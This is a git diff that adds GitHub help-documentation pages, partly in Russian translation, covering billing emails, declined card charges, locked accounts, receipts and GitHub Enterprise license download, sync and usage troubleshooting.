+2. Введите допустимый адрес электронной почты и нажмите **Обновить**. + ![Снимок экрана: модальное окно изменения адреса электронной почты для выставления счетов с введенным примером адреса электронной почты](/assets/images/help/billing/billing-change-email-modal.png) + +## Управление дополнительными получателями электронной почты о выставлении счетов на предприятии + +Если у вас есть пользователи, которым нужно получать отчеты о выставлении счетов, можно добавить их адреса электронной почты в список получателей электронной почты о выставлении счетов. + +Просматривать и изменять параметры выставления счетов для предприятия могут только участники с ролью ответственного по предприятию или менеджера по выставлению счетов. Дополнительные сведения см. в разделе [Управление пользователями на предприятии](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise). + +### Добавление получателя уведомлений о выставлении счетов + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.billing-tab %} +1. Щелкните **Электронная почта о выставлении счетов**. +2. В разделе "Получатели электронной почты" справа от адреса электронной почты для выставления счетов нажмите **Добавить**. + ![Снимок экрана: текущий адрес электронной почты для выставления счетов с выделенной кнопкой "Добавить"](/assets/images/help/billing/billing-add-email-recipient.png) +3. Введите адрес электронной почты получателя и нажмите **Добавить**. + ![Снимок экрана: модальное окно добавления адреса электронной почты для выставления счетов без введенного адреса электронной почты](/assets/images/help/billing/billing-add-email-recipient-modal.png) + +### Удаление получателя уведомлений о выставлении счетов + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.billing-tab %} +1. Щелкните **Электронная почта о выставлении счетов**. +2. В разделе "Получатели электронной почты" найдите адрес электронной почты, который нужно удалить. +3. Для записи пользователя в списке нажмите **Изменить**. + ![Снимок экрана: адрес электронной почты получателя с выделенной кнопкой "Изменить"](/assets/images/help/billing/billing-edit-email-recipient.png) +4. Справа от адреса электронной почты в раскрывающемся меню "Изменить" выберите **Удалить**. + ![Снимок экрана: адрес электронной почты получателя с выделенной кнопкой "Удалить"](/assets/images/help/billing/billing-remove-email-recipient.png) +5. Ознакомьтесь с запросом на подтверждение и нажмите **Удалить**. +{% endif %} diff --git a/translations/ru-RU/content/billing/managing-your-github-billing-settings/troubleshooting-a-declined-credit-card-charge.md b/translations/ru-RU/content/billing/managing-your-github-billing-settings/troubleshooting-a-declined-credit-card-charge.md new file mode 100644 index 000000000000..c18c201d7aa2 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-your-github-billing-settings/troubleshooting-a-declined-credit-card-charge.md @@ -0,0 +1,43 @@ +--- +title: Устранение неполадок с отклоненной оплатой с кредитной карты +intro: 'Если кредитная карта, используемая для оплаты {% data variables.product.product_name %}, отклонена, можно выполнить ряд действий, чтобы убедиться, что ваши платежи проводятся и у вас не заблокирован доступ к вашей учетной записи.' +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/troubleshooting-a-declined-credit-card-charge + - /articles/what-do-i-do-if-my-card-is-declined + - /articles/troubleshooting-a-declined-credit-card-charge + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/troubleshooting-a-declined-credit-card-charge +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Troubleshooting +shortTitle: Declined credit card charge +ms.openlocfilehash: 44ed836d24e23ceb7e805cccdad6e70203381bf5 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147884224' +--- +Если ваша карта отклонена, мы отправим вам сообщение электронной почты с указанием причины. У вас будет несколько дней, чтобы устранить проблему, после чего мы попробуем списать с вас средства снова. + +## Проверка срока действия карты + +Если срок действия карты истек, вам потребуется обновить платежные данные в своей учетной записи. Дополнительные сведения см. в разделе [Добавление или изменение метода оплаты](/articles/adding-or-editing-a-payment-method). + +## Проверка правил вашего банка по ограничениям на использование карт + +Некоторые международные банки устанавливают ограничения на трансграничные операции, автоматически повторяемые транзакции и оплату в системах электронной торговли. Если вы не можете оплатить покупку с помощью международной кредитной карты, узнайте в своем банке, действуют ли какие-нибудь ограничения для вашей карты. + +Мы также поддерживаем платежи через PayPal. Дополнительные сведения см. в разделе [Добавление или изменение метода оплаты](/articles/adding-or-editing-a-payment-method). + +## Обращение в банк за подробными сведениями о транзакции + +Ваш банк по запросу может предоставить дополнительную информацию о конкретном отклоненном платеже. Если в отношении вашей карты действуют ограничения, позвоните в банк и предоставьте следующие сведения: + +- **Сумма, которую вы должны оплатить.** Стоимость подписки отображается в квитанциях для вашей учетной записи. Дополнительные сведения см. в разделе "[Просмотр истории платежей и квитанций](/articles/viewing-your-payment-history-and-receipts)". +- **Дата выставления счета за {% data variables.product.product_name %}.** Дата выставления счетов для учетной записи есть в квитанциях. +- **Идентификатор транзакции.** Идентификатор транзакции вашей учетной записи есть в квитанциях. +- **Имя продавца.** Имя продавца — {% data variables.product.prodname_dotcom %}. +- **Сообщение об ошибке, отправленное банком при отклонении платежа.** Сообщение об ошибке от вашего банка включается в сообщение электронной почты, которое мы отправим вам при отклонении платежа. diff --git a/translations/ru-RU/content/billing/managing-your-github-billing-settings/unlocking-a-locked-account.md b/translations/ru-RU/content/billing/managing-your-github-billing-settings/unlocking-a-locked-account.md new file mode 100644 index 000000000000..cd8418f855db --- /dev/null +++ b/translations/ru-RU/content/billing/managing-your-github-billing-settings/unlocking-a-locked-account.md @@ -0,0 +1,39 @@ +--- +title: Разблокировка заблокированной учетной записи +intro: 'Платные функции вашей организации блокируются, если платеж просрочен из-за проблем с выставлением счетов.' +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/unlocking-a-locked-account + - /articles/what-happens-if-my-account-is-locked + - /articles/if-my-account-is-locked-and-i-upgrade-it-do-i-owe-anything-for-previous-time + - /articles/if-my-account-is-locked-and-i-upgrade-it-do-i-pay-backcharges + - /articles/what-happens-if-my-repository-is-locked + - /articles/unlocking-a-locked-personal-account + - /articles/unlocking-a-locked-organization-account + - /articles/unlocking-a-locked-account + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/unlocking-a-locked-account +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Accounts + - Downgrades + - Organizations + - User account +shortTitle: Locked account +ms.openlocfilehash: e9b51d82dcd2f184003add575338625ea01fa1df +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145087842' +--- +Вы можете разблокировать учетную запись и получить к ней доступ, обновив способ оплаты в вашей организации и оплатив подписку. Мы не требуем оплачивать период блокировки. + +Вы можете понизить уровень подписки организации на {% data variables.product.prodname_free_team %}, чтобы продолжить работу с теми же расширенными функциями в общедоступных репозиториях. Дополнительные сведения см. в разделе "[Понижение уровня подписки {% data variables.product.product_name %}](/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription)". + +## Разблокировка функций организации, заблокированных из-за отклоненного платежа + +Если расширенные функции вашей организации заблокированы из-за отклоненного платежа, вам потребуется обновить данные для выставления счетов, чтобы провести новый санкционированный платеж. Дополнительные сведения см. в разделе [Добавление или изменение метода оплаты](/articles/adding-or-editing-a-payment-method). + +Если новые данные для выставления счетов будут подтверждены, мы сразу же спишем с вас стоимость выбранного вами платного продукта. Организация будет автоматически разблокирована после успешного платежа. diff --git a/translations/ru-RU/content/billing/managing-your-github-billing-settings/viewing-your-payment-history-and-receipts.md b/translations/ru-RU/content/billing/managing-your-github-billing-settings/viewing-your-payment-history-and-receipts.md new file mode 100644 index 000000000000..b4ed18ffc296 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-your-github-billing-settings/viewing-your-payment-history-and-receipts.md @@ -0,0 +1,36 @@ +--- +title: Просмотр журнала платежей и квитанций +intro: Вы можете в любое время просмотреть историю оплаты учетной записи и загрузить предыдущие квитанции. +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/viewing-your-payment-history-and-receipts + - /articles/downloading-receipts + - /articles/downloading-receipts-for-personal-accounts + - /articles/downloading-receipts-for-organizations + - /articles/viewing-your-payment-history-and-receipts + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/viewing-your-payment-history-and-receipts +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Accounts + - Organizations + - Receipts + - User account +shortTitle: View history & receipts +ms.openlocfilehash: 620dcd8d38da01e9680e0cbc05c23dc97d241a41 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '147879269' +--- +## Просмотр квитанций для личной учетной записи + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.billing_plans %} {% data reusables.dotcom_billing.view-payment-history %} {% data reusables.dotcom_billing.download_receipt %} + +## Просмотр квитанций для организации + +{% data reusables.dotcom_billing.org-billing-perms %} + +{% data reusables.organizations.billing-settings %} {% data reusables.dotcom_billing.view-payment-history %} {% data reusables.dotcom_billing.download_receipt %} diff --git a/translations/ru-RU/content/billing/managing-your-github-billing-settings/viewing-your-subscriptions-and-billing-date.md b/translations/ru-RU/content/billing/managing-your-github-billing-settings/viewing-your-subscriptions-and-billing-date.md new file mode 100644 index 000000000000..1a96fb5467e7 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-your-github-billing-settings/viewing-your-subscriptions-and-billing-date.md @@ -0,0 +1,40 @@ +--- +title: Просмотр подписок и даты выставления счета +intro: 'Вы можете просмотреть подписку вашей учетной записи, другие имеющиеся платные функции и продукты, а также дату следующего выставления счетов в разделе параметров выставления счетов для учетной записи.' +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/viewing-your-subscriptions-and-billing-date + - /github/setting-up-and-managing-billing-and-payments-on-github/viewing-your-subscriptions-and-billing-date + - /articles/finding-your-next-billing-date + - /articles/finding-your-personal-account-s-next-billing-date + - /articles/finding-your-organization-s-next-billing-date + - /articles/viewing-your-plans-and-billing-date + - /articles/viewing-your-subscriptions-and-billing-date +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Accounts + - Organizations + - User account +shortTitle: Subscriptions & billing date +ms.openlocfilehash: c623155dcf2e839202237e5e67c93665f7e354df +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145087819' +--- +## Поиск следующей даты выставления счета личной учетной записи + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.billing_plans %} {% data reusables.dotcom_billing.next_billing_date %} + +## Поиск следующей даты выставления счета учетной записи организации + +{% data reusables.dotcom_billing.org-billing-perms %} + +{% data reusables.organizations.billing-settings %} {% data reusables.dotcom_billing.next_billing_date %} + +## Дополнительные материалы + +- [Сведения о выставлении счетов для учетных записей {% data variables.product.prodname_dotcom %}](/articles/about-billing-for-github-accounts) diff --git a/translations/ru-RU/content/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise.md b/translations/ru-RU/content/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise.md new file mode 100644 index 000000000000..2a8b76435054 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise.md @@ -0,0 +1,44 @@ +--- +title: About licenses for GitHub Enterprise +intro: '{% ifversion ghec %}If you deploy {% data variables.product.prodname_ghe_server %} in addition to using {% data variables.product.prodname_ghe_cloud %}, you{% else %}You{% endif %} can synchronize your license usage between{% ifversion ghes %} {% data variables.product.prodname_enterprise %}{% endif %} deployments, and use a license file to unlock each {% data variables.product.prodname_ghe_server %} instance.' +versions: + ghec: '*' + ghes: '*' +type: overview +topics: + - Enterprise + - Licensing +shortTitle: About licenses +--- + +## About licensing for {% data variables.product.prodname_enterprise %} + +{% data reusables.enterprise.about-deployment-methods %} + +{% data reusables.enterprise-licensing.unique-user-licensing-model %} + +To ensure the same user isn't consuming more than one license for multiple enterprise deployments, you can synchronize license usage between your {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %} deployments. + +In order to use a {% data variables.product.prodname_ghe_server %} instance, you must upload a license file that {% data variables.product.company_short %} provides when you purchase, renew, or add user licenses to {% data variables.product.prodname_enterprise %}. + +## About synchronization of license usage for {% data variables.product.prodname_enterprise %} + +{% data reusables.enterprise-licensing.about-license-sync %} For more information, see "[Syncing license usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)." + +## About license files for {% data variables.product.prodname_enterprise %} + +When you purchase or renew {% data variables.product.prodname_enterprise %}, {% data variables.product.company_short %} provides a license file {% ifversion ghec %}for your deployments of {% data variables.product.prodname_ghe_server %}{% elsif ghes %}for {% data variables.location.product_location_enterprise %}{% endif %}. A license file has an expiration date and controls the number of people who can use {% data variables.location.product_location_enterprise %}. After you download and install {% data variables.product.prodname_ghe_server %}, you must upload the license file to unlock the application for you to use. + +For more information about downloading your license file, see "[Downloading your license for {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise)." + +For more information about uploading your license file, see {% ifversion ghec %}"[Uploading a new license to {% data variables.product.prodname_ghe_server %}](/enterprise-server/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)" in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}"[Uploading a new license to {% data variables.product.prodname_ghe_server %}](/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)."{% endif %} + +If your license expires, you won't be able to access {% data variables.product.prodname_ghe_server %} via a web browser or Git. If needed, you will be able to use command-line utilities to back up all your data. For more information, see {% ifversion ghec %}"[Configuring backups on your appliance]({% ifversion ghec %}/enterprise-server@latest{% endif %}/admin/guides/installation/configuring-backups-on-your-appliance)" in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}"[Configuring backups on your appliance](/admin/guides/installation/configuring-backups-on-your-appliance)." {% endif %} + +If you have any questions about renewing your license, contact {% data variables.contact.contact_enterprise_sales %}. + +## Further reading + +- "[About billing for your enterprise](/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise)" +- [{% data variables.product.prodname_enterprise %} Releases](https://enterprise.github.com/releases/) website +- "[Setting up a {% data variables.product.prodname_ghe_server %} instance]({% ifversion ghec %}/enterprise-server@latest{% endif %}/admin/installation/setting-up-a-github-enterprise-server-instance)" diff --git a/translations/ru-RU/content/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise.md b/translations/ru-RU/content/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise.md new file mode 100644 index 000000000000..9e67e9dfa472 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise.md @@ -0,0 +1,38 @@ +--- +title: Downloading your license for GitHub Enterprise +intro: 'You can download a copy of your license file for {% data variables.product.prodname_ghe_server %}.' +permissions: 'Enterprise owners can download license files for {% data variables.product.prodname_ghe_server %}.' +versions: + ghec: '*' + ghes: '*' +type: how_to +topics: + - Enterprise + - Licensing +shortTitle: Download your license +--- + +## About license files for {% data variables.product.prodname_enterprise %} + +After you purchase or upgrade a license for {% data variables.product.prodname_enterprise %} from {% data variables.contact.contact_enterprise_sales %}, you must download your new license file. For more information about licenses for {% data variables.product.prodname_enterprise %}, see "[About licenses for {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise)." + +{% data reusables.enterprise-licensing.contact-sales-for-renewals-or-seats %} + +## Downloading your license from {% data variables.product.prodname_dotcom_the_website %} + +You must have an enterprise account on {% data variables.product.prodname_dotcom_the_website %} to download your license from {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts){% ifversion ghes %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% elsif ghec %}."{% endif %} + +{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} +{% data reusables.enterprise-accounts.settings-tab %} +1. In the left sidebar, click **Enterprise licensing**. + !["Enterprise licensing" tab in the enterprise account settings sidebar](/assets/images/help/enterprises/enterprise-licensing-tab.png) +1. Under "Enterprise Server Instances", click {% octicon "download" aria-label="The download icon" %} to download your license file. + ![Download GitHub Enterprise Server license](/assets/images/help/business-accounts/download-ghes-license.png) + +After you download your license file, you can upload the file to {% data variables.location.product_location_enterprise %} to validate your application. For more information, see {% ifversion ghec %}"[Uploading a new license to {% data variables.product.prodname_ghe_server %}](/enterprise-server/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)" in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}"[Uploading a new license to {% data variables.product.prodname_ghe_server %}](/enterprise-server/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)."{% endif %} + +## Downloading your license if you don't have an enterprise account on {% data variables.product.prodname_dotcom_the_website %} + +If you do not have an enterprise account on {% data variables.product.prodname_dotcom_the_website %}, or if you're not sure, you may be able to download your {% data variables.product.prodname_ghe_server %} license from the [{% data variables.product.prodname_enterprise %} website](https://enterprise.github.com/download). + +If you have any questions about downloading your license, contact {% data variables.contact.contact_enterprise_sales %}. diff --git a/translations/ru-RU/content/billing/managing-your-license-for-github-enterprise/index.md b/translations/ru-RU/content/billing/managing-your-license-for-github-enterprise/index.md new file mode 100644 index 000000000000..6ebea6d04626 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-your-license-for-github-enterprise/index.md @@ -0,0 +1,34 @@ +--- +title: Управление лицензией для GitHub Enterprise +shortTitle: GitHub Enterprise license +intro: '{% data variables.product.prodname_enterprise %} включает как размещение в облаке, так и локальное размещение. При размещении экземпляра {% data variables.product.prodname_ghe_server %} необходимо разблокировать экземпляр с помощью файла лицензии. Вы можете просмотреть и обновить файл лицензии, а также управлять им.' +redirect_from: + - /free-pro-team@latest/billing/managing-your-license-for-github-enterprise + - /enterprise/admin/installation/managing-your-github-enterprise-license + - /enterprise/admin/categories/licenses + - /enterprise/admin/articles/license-files + - /enterprise/admin/installation/about-license-files + - /enterprise/admin/articles/downloading-your-license + - /enterprise/admin/installation/downloading-your-license + - /enterprise/admin/articles/upgrading-your-license + - /enterprise/admin/installation/updating-your-license + - /enterprise/admin/installation/managing-your-github-enterprise-server-license + - /enterprise/admin/overview/managing-your-github-enterprise-license +versions: + ghec: '*' + ghes: '*' +children: + - /about-licenses-for-github-enterprise + - /downloading-your-license-for-github-enterprise + - /uploading-a-new-license-to-github-enterprise-server + - /viewing-license-usage-for-github-enterprise + - /syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud + - /troubleshooting-license-usage-for-github-enterprise +ms.openlocfilehash: 700c58c990512f1335f74431488b3082fb91c117 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145910610' +--- + diff --git a/translations/ru-RU/content/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud.md b/translations/ru-RU/content/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud.md new file mode 100644 index 000000000000..cbbec0d08d05 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud.md @@ -0,0 +1,64 @@ +--- +title: Syncing license usage between GitHub Enterprise Server and GitHub Enterprise Cloud +intro: 'You can sync license usage from {% data variables.product.prodname_ghe_server %} to {% data variables.product.prodname_ghe_cloud %} to view all license usage across your enterprise in one place and ensure that people with accounts in both environments only consume one user license.' +permissions: 'Enterprise owners can sync license usage between enterprise accounts on {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}.' +versions: + ghec: '*' + ghes: '*' +type: how_to +topics: + - Enterprise + - Licensing +shortTitle: Sync license usage +--- + +## About synchronization of license usage + +{% data reusables.enterprise-licensing.unique-user-licensing-model %} + +{% data reusables.enterprise-licensing.about-license-sync %} + +To ensure that you see up-to-date license details on {% data variables.product.prodname_dotcom_the_website %}, you can sync license usage between the environments automatically, using {% data variables.product.prodname_github_connect %}. For more information about {% data variables.product.prodname_github_connect %}, see "[About {% data variables.product.prodname_github_connect %}]({% ifversion ghec %}/enterprise-server@latest{% endif %}/admin/configuration/configuring-github-connect/about-github-connect){% ifversion ghec %}" in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}."{% endif %} + +If you don't want to enable {% data variables.product.prodname_github_connect %}, you can manually sync license usage by uploading a file from {% data variables.product.prodname_ghe_server %} to {% data variables.product.prodname_dotcom_the_website %}. + +When you synchronize license usage, only the user ID and email addresses for each user account on {% data variables.product.prodname_ghe_server %} are transmitted to {% data variables.product.prodname_ghe_cloud %}. + +{% data reusables.enterprise-licensing.view-consumed-licenses %} + +{% data reusables.enterprise-licensing.verified-domains-license-sync %} + +## Automatically syncing license usage + +You can use {% data variables.product.prodname_github_connect %} to automatically synchronize user license count and usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %} weekly. For more information, see "[Enabling automatic user license sync for your enterprise]({% ifversion ghec %}/enterprise-server@latest{% endif %}/admin/configuration/configuring-github-connect/enabling-automatic-user-license-sync-for-your-enterprise){% ifversion ghec %}" in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}."{% endif %} + +{% ifversion ghec or ghes > 3.4 %} +After you enable {% data variables.product.prodname_github_connect %}, license data will be automatically synchronized weekly. You can also manually synchronize your license data at any time, by triggering a license sync job. + +### Triggering a license sync job + +1. Sign in to your {% data variables.product.prodname_ghe_server %} instance. +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.license-tab %} +1. Under "License sync", click {% octicon "sync" aria-label="The Sync icon" %} **Sync now**. + ![Screenshot of "Sync now" button in license sync section](/assets/images/help/enterprises/license-sync-now-ghes.png) + +{% endif %} + +## Manually uploading GitHub Enterprise Server license usage + +You can download a JSON file from {% data variables.product.prodname_ghe_server %} and upload the file to {% data variables.product.prodname_ghe_cloud %} to manually sync user license usage between the two deployments. + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.license-tab %} +5. Under "Quick links", to download a file containing your current license usage on {% data variables.product.prodname_ghe_server %}, click **Export license usage**. + ![Export license usage link](/assets/images/enterprise/business-accounts/export-license-usage-link.png) +{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.license-tab %} +10. Under "Enterprise Server Instances", click **Add server usage**. + ![Upload GitHub Enterprise Servers usage link](/assets/images/help/business-accounts/upload-ghe-server-usage-link.png) +11. Upload the JSON file you downloaded from {% data variables.product.prodname_ghe_server %}. + ![Drag and drop or select a file to upload](/assets/images/help/business-accounts/upload-ghe-server-usage-file.png) diff --git a/translations/ru-RU/content/billing/managing-your-license-for-github-enterprise/troubleshooting-license-usage-for-github-enterprise.md b/translations/ru-RU/content/billing/managing-your-license-for-github-enterprise/troubleshooting-license-usage-for-github-enterprise.md new file mode 100644 index 000000000000..7bc697923263 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-your-license-for-github-enterprise/troubleshooting-license-usage-for-github-enterprise.md @@ -0,0 +1,99 @@ +--- +title: Troubleshooting license usage for GitHub Enterprise +intro: You can troubleshoot license usage for your enterprise by auditing license reports. +permissions: 'Enterprise owners can review license usage for {% data variables.product.prodname_enterprise %}.' +versions: + ghec: '*' + ghes: '*' +type: how_to +topics: + - Enterprise + - Licensing +shortTitle: Troubleshoot license usage +--- + +## About unexpected license usage + +If the number of consumed licenses for your enterprise is unexpected, you can review your consumed license report to audit your license usage across all your enterprise deployments and subscriptions. For more information, see "[Viewing license usage for GitHub Enterprise](/billing/managing-your-license-for-github-enterprise/viewing-license-usage-for-github-enterprise)" and "[Viewing the subscription and usage for your enterprise account](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)." + +If you find errors, you can try troubleshooting steps. + +For privacy reasons, enterprise owners cannot directly access the details of user accounts unless you use {% data variables.product.prodname_emus %}. + +## About the calculation of consumed licenses + +{% data variables.product.company_short %} bills for each person who uses deployments of {% data variables.product.prodname_ghe_server %}, is a member of one of your organizations on {% data variables.product.prodname_ghe_cloud %}, or is a {% data variables.visual_studio.prodname_vs_subscriber %}. For more information about the people in your enterprise who consume a license, see "[About per-user pricing](/billing/managing-billing-for-your-github-account/about-per-user-pricing)." + +For each user to consume a single seat regardless of how many deployments they use, you must synchronize license usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Syncing license usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)." + +After you synchronize license usage, {% data variables.product.prodname_dotcom %} matches user accounts on {% data variables.product.prodname_ghe_server %} with user accounts on {% data variables.product.prodname_ghe_cloud %} by email address. + +First, we first check the primary email address of each user on {% data variables.product.prodname_ghe_server %}. Then, we attempt to match that address with the email address for a user account on {% data variables.product.prodname_ghe_cloud %}. If your enterprise uses SAML SSO, we first check the following SAML attributes for email addresses. + +- `http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name` +- `http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress` +- `username` +- `NameID` +- `emails` + +If no email addresses found in these attributes match the primary email address on {% data variables.product.prodname_ghe_server %}, or if your enterprise doesn't use SAML SSO, we then check each of the user's verified email addresses on {% data variables.product.prodname_ghe_cloud %}. For more information about verification of email addresses on {% data variables.product.prodname_dotcom_the_website %}, see "[Verifying your email address](/enterprise-cloud@latest/get-started/signing-up-for-github/verifying-your-email-address){% ifversion not ghec %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} + +## Fields in the consumed license files + +The {% data variables.product.prodname_dotcom_the_website %} license usage report and {% data variables.product.prodname_ghe_server %} exported license usage file include a variety of fields to help you troubleshoot license usage for your enterprise. + +### {% data variables.product.prodname_dotcom_the_website %} license usage report (CSV file) + +The license usage report for your enterprise is a CSV file that contains the following information about members of your enterprise. Some fields are specific to your {% data variables.product.prodname_ghe_cloud %} (GHEC) deployment, {% data variables.product.prodname_ghe_server %} (GHES) connected environments, or your {% data variables.product.prodname_vs %} subscriptions (VSS) with GitHub Enterprise. + +| Field | Description +| ----- | ----------- +| github_com_login | The username for the user's GHEC account +| github_com_name | The display name for the user's GHEC account +| github_com_profile | The URL for the user's profile page on GHEC +| github_com_user | Whether or not the user has an account on GHEC | +| github_com_member_roles | For each of the organizations the user belongs to on GHEC, the organization name and the user's role in that organization (`Owner` or `Member`) separated by a colon

Organizations delimited by commas | +| github_com_enterprise_role | Can be one of: `Owner`, `Member`, or `Outside collaborator` +| github_com_verified_domain_emails | All email addresses associated with the user's GHEC account that match your enterprise's verified domains | +| github_com_saml_name_id | The SAML username | +| github_com_orgs_with_pending_invites | All pending invitations for the user's GHEC account to join organizations within your enterprise | +| license_type | Can be one of: `Visual Studio subscription` or `Enterprise` +| enterprise_server_user| Whether or not the user has at least one account on GHES | +| enterprise_server_primary_emails | The primary email addresses associated with each of the user's GHES accounts | +| enterprise_server_user_ids | For each of the user's GHES accounts, the account's user ID +| total_user_accounts | The total number of accounts the person has across both GHEC and GHES +| visual_studio_subscription_user | Whether or not the user is a {% data variables.visual_studio.prodname_vs_subscriber %} | +| visual_studio_subscription_email | The email address associated with the user's VSS | +| visual_studio_license_status | Whether the Visual Studio license has been matched to a {% data variables.product.company_short %} user | + +{% data variables.visual_studio.prodname_vs_subscriber %}s who are not yet members of at least one organization in your enterprise will be included in the report with a pending invitation status, and will be missing values for the "Name" or "Profile link" field. + +### {% data variables.product.prodname_ghe_server %} exported license usage (JSON file) + +Your {% data variables.product.prodname_ghe_server %} license usage is a JSON file that is typically used when performing a manual sync of user licenses between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %} deployments. The file contains the following information specific to your {% data variables.product.prodname_ghe_server %} environment. + +| Field | Description +| ----- | ----------- +| Features | The {% data variables.product.prodname_github_connect %} features that are enabled on your {% data variables.product.prodname_ghe_server %} instance, and the date and time of enablement. +| Host name | The hostname of your {% data variables.product.prodname_ghe_server %} instance. +| HTTP only | Whether Transport Layer Security (TLS) is enabled and configured on your {% data variables.product.prodname_ghe_server %} instance. Can be one of: `True` or `False`. +| License | A hash of your {% data variables.product.prodname_ghe_server %} license. +| Public key | The public key portion of your {% data variables.product.prodname_ghe_server %} license. +| Server ID | UUID generated for your {% data variables.product.prodname_ghe_server %} instance. +| Version | The version of your {% data variables.product.prodname_ghe_server %} instance. + +## Troubleshooting consumed licenses + +To ensure that the each user is only consuming a single seat for different deployments and subscriptions, try the following troubleshooting steps. + +1. To help identify users that are consuming multiple seats, if your enterprise uses verified domains for {% data variables.product.prodname_ghe_cloud %}, review the list of enterprise members who do not have an email address from a verified domain associated with their account on {% data variables.product.prodname_dotcom_the_website %}. Often, these are the users who erroneously consume more than one licensed seat. For more information, see "[Viewing members without an email address from a verified domain](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise#viewing-members-without-an-email-address-from-a-verified-domain)." 